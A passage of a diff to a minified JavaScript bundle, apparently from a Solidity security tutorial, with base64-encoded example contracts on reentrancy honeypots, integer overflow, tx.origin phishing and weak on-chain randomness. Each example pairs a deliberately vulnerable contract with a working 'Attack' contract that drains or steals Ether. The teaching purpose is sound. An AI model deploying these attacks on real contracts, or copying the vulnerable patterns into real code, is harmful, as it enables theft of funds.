ZXIgYnV0IHRoZSB0cmFuc2FjdGlvbiBmYWlscy4KCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkgYW5kIGl0IHN0YXJ0cyB3aXRoZHJhd2luZyBFdGhlciBmcm9tIEJhbmsuCldoZW4gdGhlIGxhc3QgQmFuay53aXRoZHJhdygpIGlzIGFib3V0IHRvIGNvbXBsZXRlLCBpdCBjYWxscyBsb2dnZXIubG9nKCkuCkxvZ2dlci5sb2coKSBjYWxscyBIb25leVBvdC5sb2coKSBhbmQgcmV2ZXJ0cy4gVHJhbnNhY3Rpb24gZmFpbHMuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gLT0gX2Ftb3VudDsKCiAgICAgICAgbG9nZ2VyLmxvZyhtc2cuc2VuZGVyLCBfYW1vdW50LCAiV2l0aGRyYXciKTsKICAgIH0KfQoKY29udHJhY3QgTG9nZ2VyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGNhbGxlciwgdWludDI1NiBhbW91bnQsIHN0cmluZyBhY3Rpb24pOwoKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGVtaXQgTG9nKF9jYWxsZXIsIF9hbW91bnQsIF9hY3Rpb24pOwogICAgfQp9CgovLyBIYWNrZXIgdHJpZXMgdG8gZHJhaW4gdGhlIEV0aGVycyBzdG9yZWQgaW4gQmFuayBieSByZWVudHJhbmN5Lgpjb250cmFjdCBBdHRhY2sgewogICAgQmFuayBiYW5rOwoKICAgIGNvbnN0cnVjdG9yKEJhbmsgX2JhbmspIHsKICAgICAgICBiYW5rID0gQmFuayhfYmFuayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhiYW5rKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],c0=`

                                    A honeypot is a trap to catch hackers.

                                    Vulnerability

                                    Combining two exploits, reentrancy and hiding malicious code, we can build a contract

                                    that will catch malicious users.

                                    @@ -9695,7 +9695,7 @@ Logger.log() calls HoneyPot.log() and reverts. Transaction fails. return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } } -`,t0=({prev:s,next:a})=>r.jsx(u,{version:n0,title:l0,description:p0,html:c0,prev:s,next:a,codes:e0}),o0="0.8.24",r0="Arithmetic Overflow and Underflow",i0="An example of hacking Solidity with arithmetic overflow / underflow",g0=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCiovCgpjb250cmFjdCBUaW1lTG9jayB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBsb2NrVGltZTsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdID0gYmxvY2sudGltZXN0YW1wICsgMSB3ZWVrczsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxvY2tUaW1lKHVpbnQyNTYgX3NlY29uZHNUb0luY3JlYXNlKSBwdWJsaWMgewogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdICs9IF9zZWNvbmRzVG9JbmNyZWFzZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdygpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlc1ttc2cuc2VuZGVyXSA+IDAsICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGxvY2tUaW1lW21zZy5zZW5kZXJdLCAiTG9jayB0aW1lIG5vdCBleHBpcmVkIik7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBUaW1lTG9jayB0aW1lTG9jazsKCiAgICBjb25zdHJ1Y3RvcihUaW1lTG9jayBfdGltZUxvY2spIHsKICAgICAgICB0aW1lTG9jayA9IFRpbWVMb2NrKF90aW1lTG9jayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIHRpbWVMb2NrLmRlcG9zaXR7dmFsdWU6IG1zZy52YWx1ZX0oKTsKICAgICAgICAvKgogICAgICAgIGlmIHQgPSBjdXJyZW50IGxvY2sgdGltZSB0aGVuIHdlIG5lZWQgdG8gZmluZCB4IHN1Y2ggdGhhdAogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIHNvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],h0=`

                                    Vulnerability

                                    +`,t0=({prev:s,next:a})=>r.jsx(A,{version:n0,title:l0,description:p0,html:c0,prev:s,next:a,codes:e0}),o0="0.8.24",r0="Arithmetic Overflow and Underflow",i0="An example of hacking Solidity with arithmetic overflow / underflow",g0=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCiovCgpjb250cmFjdCBUaW1lTG9jayB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBsb2NrVGltZTsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdID0gYmxvY2sudGltZXN0YW1wICsgMSB3ZWVrczsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxvY2tUaW1lKHVpbnQyNTYgX3NlY29uZHNUb0luY3JlYXNlKSBwdWJsaWMgewogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdICs9IF9zZWNvbmRzVG9JbmNyZWFzZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdygpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlc1ttc2cuc2VuZGVyXSA+IDAsICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGxvY2tUaW1lW21zZy5zZW5kZXJdLCAiTG9jayB0aW1lIG5vdCBleHBpcmVkIik7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBUaW1lTG9jayB0aW1lTG9jazsKCiAgICBjb25zdHJ1Y3RvcihUaW1lTG9jayBfdGltZUxvY2spIHsKICAgICAgICB0aW1lTG9jayA9IFRpbWVMb2NrKF90aW1lTG9jayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIHRpbWVMb2NrLmRlcG9zaXR7dmFsdWU6IG1zZy52YWx1ZX0oKTsKICAgICAgICAvKgogICAgICAgIGlmIHQgPSBjdXJyZW50IGxvY2sgdGltZSB0aGVuIHdlIG5lZWQgdG8gZmluZCB4IHN1Y2ggdGhhdAogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIHNvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],h0=`

                                    Vulnerability

                                    Solidity < 0.8

                                    Integers in Solidity overflow / underflow without any errors

                                    Solidity >= 0.8
                                    @@ -9774,7 +9774,7 @@ before the 1 week waiting period.

                                  • Solidity 0.8 defaults to throwing an error for overflow / underflow

                                  -`,I0=({prev:s,next:a})=>r.jsx(u,{version:o0,title:r0,description:i0,html:h0,prev:s,next:a,codes:g0}),d0="0.8.24",C0="Phishing with tx.origin",j0="An example of phishing with tx.origin in Solidity",u0=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBBdHRhY2suYXR0YWNrKCksIGl0CnJlcXVlc3RlZCBhIHRyYW5zZmVyIG9mIGFsbCBmdW5kcyBpbiBBbGljZSdzIHdhbGxldCB0byBFdmUncyBhZGRyZXNzLgpTaW5jZSB0eC5vcmlnaW4gaW4gV2FsbGV0LnRyYW5zZmVyKCkgaXMgZXF1YWwgdG8gQWxpY2UncyBhZGRyZXNzLAppdCBhdXRob3JpemVkIHRoZSB0cmFuc2Zlci4gVGhlIHdhbGxldCB0cmFuc2ZlcnJlZCBhbGwgRXRoZXIgdG8gRXZlLgoqLwoKY29udHJhY3QgV2FsbGV0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHR4Lm9yaWdpbiA9PSBvd25lciwgIk5vdCBvd25lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwogICAgV2FsbGV0IHdhbGxldDsKCiAgICBjb25zdHJ1Y3RvcihXYWxsZXQgX3dhbGxldCkgewogICAgICAgIHdhbGxldCA9IFdhbGxldChfd2FsbGV0KTsKICAgICAgICBvd25lciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICB3YWxsZXQudHJhbnNmZXIob3duZXIsIGFkZHJlc3Mod2FsbGV0KS5iYWxhbmNlKTsKICAgIH0KfQo="}],A0=`

                                  What's the difference between msg.sender and tx.origin?

                                  +`,I0=({prev:s,next:a})=>r.jsx(A,{version:o0,title:r0,description:i0,html:h0,prev:s,next:a,codes:g0}),d0="0.8.24",C0="Phishing with tx.origin",j0="An example of phishing with tx.origin in Solidity",A0=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBBdHRhY2suYXR0YWNrKCksIGl0CnJlcXVlc3RlZCBhIHRyYW5zZmVyIG9mIGFsbCBmdW5kcyBpbiBBbGljZSdzIHdhbGxldCB0byBFdmUncyBhZGRyZXNzLgpTaW5jZSB0eC5vcmlnaW4gaW4gV2FsbGV0LnRyYW5zZmVyKCkgaXMgZXF1YWwgdG8gQWxpY2UncyBhZGRyZXNzLAppdCBhdXRob3JpemVkIHRoZSB0cmFuc2Zlci4gVGhlIHdhbGxldCB0cmFuc2ZlcnJlZCBhbGwgRXRoZXIgdG8gRXZlLgoqLwoKY29udHJhY3QgV2FsbGV0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHR4Lm9yaWdpbiA9PSBvd25lciwgIk5vdCBvd25lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwogICAgV2FsbGV0IHdhbGxldDsKCiAgICBjb25zdHJ1Y3RvcihXYWxsZXQgX3dhbGxldCkgewogICAgICAgIHdhbGxldCA9IFdhbGxldChfd2FsbGV0KTsKICAgICAgICBvd25lciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICB3YWxsZXQudHJhbnNmZXIob3duZXIsIGFkZHJlc3Mod2FsbGV0KS5iYWxhbmNlKTsKICAgIH0KfQo="}],u0=`

                                  What's the difference between msg.sender and tx.origin?

                                  If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.

                                  Vulnerability

                                  A malicious contract can deceive the owner of a contract into calling a @@ -9837,7 +9837,7 @@ it authorized the transfer. The wallet transferred all Ether to Eve. (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); } -`,y0=({prev:s,next:a})=>r.jsx(u,{version:d0,title:C0,description:j0,html:A0,prev:s,next:a,codes:u0}),m0="0.8.24",b0="Source of Randomness",w0="Blockchain is not a reliable source of randomness in Solidity",k0=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSBhbmQgd2lucyAxIEV0aGVyCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY29tcHV0ZWQgdGhlIGNvcnJlY3QgYW5zd2VyIGJ5IHNpbXBseSBjb3B5aW5nIHRoZSBjb2RlIHRoYXQgY29tcHV0ZXMgdGhlIHJhbmRvbSBudW1iZXIuCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50MjU2IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEgZXRoZXJ9KCIiKTsKICAgICAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjayhHdWVzc1RoZVJhbmRvbU51bWJlciBndWVzc1RoZVJhbmRvbU51bWJlcikgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],Z0=`

                                  Vulnerability

                                  +`,y0=({prev:s,next:a})=>r.jsx(A,{version:d0,title:C0,description:j0,html:u0,prev:s,next:a,codes:A0}),m0="0.8.24",b0="Source of Randomness",w0="Blockchain is not a reliable source of randomness in Solidity",k0=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4gRXZlIGNhbGxzIEF